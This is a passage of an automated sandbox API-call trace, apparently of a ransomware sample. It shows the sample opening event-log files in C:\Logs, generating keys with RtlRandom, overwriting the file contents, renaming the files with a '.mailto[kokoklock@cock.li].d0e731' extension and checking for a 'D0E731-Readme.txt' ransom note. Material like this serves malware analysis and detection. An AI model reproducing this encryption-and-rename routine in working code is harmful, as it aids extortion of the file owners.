(lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.349] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f963a0) returned 1 [0164.349] RtlExitUserThread (Status=0x1) Thread: id = 1517 os_tid = 0xe90 [0164.351] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.352] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.352] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.352] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x666faf8 | out: lpFileSize=0x666faf8*=2167040) returned 1 [0164.352] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x2110fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.352] ReadFile (in: hFile=0x4a0, lpBuffer=0x666facc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x666fac8, lpOverlapped=0x0 | out: lpBuffer=0x666facc*, lpNumberOfBytesRead=0x666fac8*=0x4, lpOverlapped=0x0) returned 1 [0164.353] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.353] CloseHandle (hObject=0x4a0) returned 1 [0164.353] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.354] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883d0) returned 1 [0164.354] RtlExitUserThread (Status=0x0) Thread: id = 1518 os_tid = 0xe94 [0164.355] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.357] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.357] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.357] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x66efbb4 | out: lpFileSize=0x66efbb4*=69824) returned 1 [0164.357] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.357] ReadFile (in: hFile=0x4a0, lpBuffer=0x66efb88, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x66efb88*, lpNumberOfBytesRead=0x66efb84*=0x4, lpOverlapped=0x0) returned 1 [0164.358] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.358] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a608 [0164.358] NtQuerySystemTime (in: CurrentTime=0x66efb60 | out: CurrentTime=0x66efb60*=132121213216782285) returned 0x0 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xcdab3ef5 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x22706dd2 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x4432d9bb [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xe32cfe53 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x32310da1 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x66e905cc [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x453121ca [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xeda8f822 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xe0ca3739 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x9ca44876 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xb707cca4 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x8de7949b [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xa0628f55 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xb3c72726 [0164.358] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x6ff7d91 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x3116d6d0 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x6ce45c1a [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xcc34f6c4 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x4b105a00 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xbe183435 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x3b4c877b [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xb957070c [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x18ff005 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x95e2e734 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x97b0bd38 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x917b4696 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xec8643e7 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x6d1196e5 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x88146beb [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x7e16d40d [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0x2252dd80 [0164.359] RtlRandom (in: Seed=0x66efb6c | out: Seed=0x66efb6c) returned 0xe7829590 [0164.367] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a720 [0164.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.369] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.369] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.369] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x66efb38, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x66efb38*=0x4096, lpOverlapped=0x0) returned 1 [0164.370] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.370] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.371] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x66efb38, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x66efb38*=0x4096, lpOverlapped=0x0) returned 1 [0164.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.371] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.371] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x66efb70, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x66efb70*=0x20, lpOverlapped=0x0) returned 1 [0164.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.371] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.371] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x66efb84*=0x8, lpOverlapped=0x0) returned 1 [0164.371] WriteFile (in: hFile=0x4a0, lpBuffer=0x66efb9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x66efb9c*, lpNumberOfBytesWritten=0x66efb84*=0x4, lpOverlapped=0x0) returned 1 [0164.372] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x66efb84*=0x4, lpOverlapped=0x0) returned 1 [0164.372] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x66efb84*=0x6c, lpOverlapped=0x0) returned 1 [0164.372] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x66efb84*=0x20, lpOverlapped=0x0) returned 1 [0164.372] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x66efb84, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x66efb84*=0x4, lpOverlapped=0x0) returned 1 [0164.372] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.372] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a720) returned 1 [0164.372] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.372] CloseHandle (hObject=0x4a0) returned 1 [0164.372] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x104) returned 0x2f6ab60 [0164.372] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" [0164.372] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.372] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4restricted.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.373] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.373] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806e0 [0164.373] wcscpy (in: _Dest=0x2f806e0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.373] wcscat (in: _Dest=0x2f806e0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.373] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0164.374] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88b20) returned 1 [0164.374] RtlExitUserThread (Status=0x1) Thread: id = 1519 os_tid = 0xe98 [0164.376] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.376] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.376] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.376] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x676fe64 | out: lpFileSize=0x676fe64*=69824) returned 1 [0164.376] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.376] ReadFile (in: hFile=0x4a0, lpBuffer=0x676fe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x676fe38*, lpNumberOfBytesRead=0x676fe34*=0x4, lpOverlapped=0x0) returned 1 [0164.377] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a900 [0164.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a630 [0164.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a978 [0164.377] NtQuerySystemTime (in: CurrentTime=0x676fe10 | out: CurrentTime=0x676fe10*=132121213216934162) returned 0x0 [0164.377] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x87414d94 [0164.377] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xa39a40c8 [0164.377] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x9b185514 [0164.377] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x394510bd [0164.377] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xc2bf8dc4 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x3c4e09d6 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x89f935e5 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xd2f93504 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xfe5e45de [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xd622a563 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xbd1f032c [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x3ca1ad56 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x595f12ae [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x4d52482b [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xe9e3229e [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x36c07f4b [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x16788d35 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xfdd32e4f [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x93a1318 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xcdfe6442 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x7d15ae50 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x48217d97 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xa8a9217e [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x189c3305 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x952f10ea [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x50bc8d42 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0xbb7dfe79 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x5944ecff [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x6715907d [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x88efb373 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x2ab73730 [0164.378] RtlRandom (in: Seed=0x676fe1c | out: Seed=0x676fe1c) returned 0x5dca6e3d [0164.386] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a9a0 [0164.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0164.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6d0 [0164.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0164.388] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a900) returned 1 [0164.388] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc2fb0 [0164.388] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.388] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc2fb0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x676fde8, lpOverlapped=0x0 | out: lpBuffer=0x2fc2fb0*, lpNumberOfBytesRead=0x676fde8*=0x4096, lpOverlapped=0x0) returned 1 [0164.389] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0164.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.389] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.389] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc7050 [0164.390] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.390] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a6f8 [0164.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6f8) returned 1 [0164.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0164.390] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc7050*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x676fde8, lpOverlapped=0x0 | out: lpBuffer=0x2fc7050*, lpNumberOfBytesWritten=0x676fde8*=0x4096, lpOverlapped=0x0) returned 1 [0164.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc7050) returned 1 [0164.390] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.390] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x676fe20, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x676fe20*=0x20, lpOverlapped=0x0) returned 1 [0164.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.390] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc2fb0) returned 1 [0164.390] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a6d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f8a6d0*, lpNumberOfBytesWritten=0x676fe34*=0x8, lpOverlapped=0x0) returned 1 [0164.391] WriteFile (in: hFile=0x4a0, lpBuffer=0x676fe4c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x676fe4c*, lpNumberOfBytesWritten=0x676fe34*=0x4, lpOverlapped=0x0) returned 1 [0164.391] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x676fe34*=0x4, lpOverlapped=0x0) returned 1 [0164.391] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x676fe34*=0x6c, lpOverlapped=0x0) returned 1 [0164.391] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a630*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f8a630*, lpNumberOfBytesWritten=0x676fe34*=0x20, lpOverlapped=0x0) returned 1 [0164.391] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x676fe34, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x676fe34*=0x4, lpOverlapped=0x0) returned 1 [0164.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a630) returned 1 [0164.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a9a0) returned 1 [0164.391] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a6d0) returned 1 [0164.391] CloseHandle (hObject=0x4a0) returned 1 [0164.391] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf8) returned 0x2f85918 [0164.391] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.391] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.391] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppxPackaging%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-appxpackaging%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), 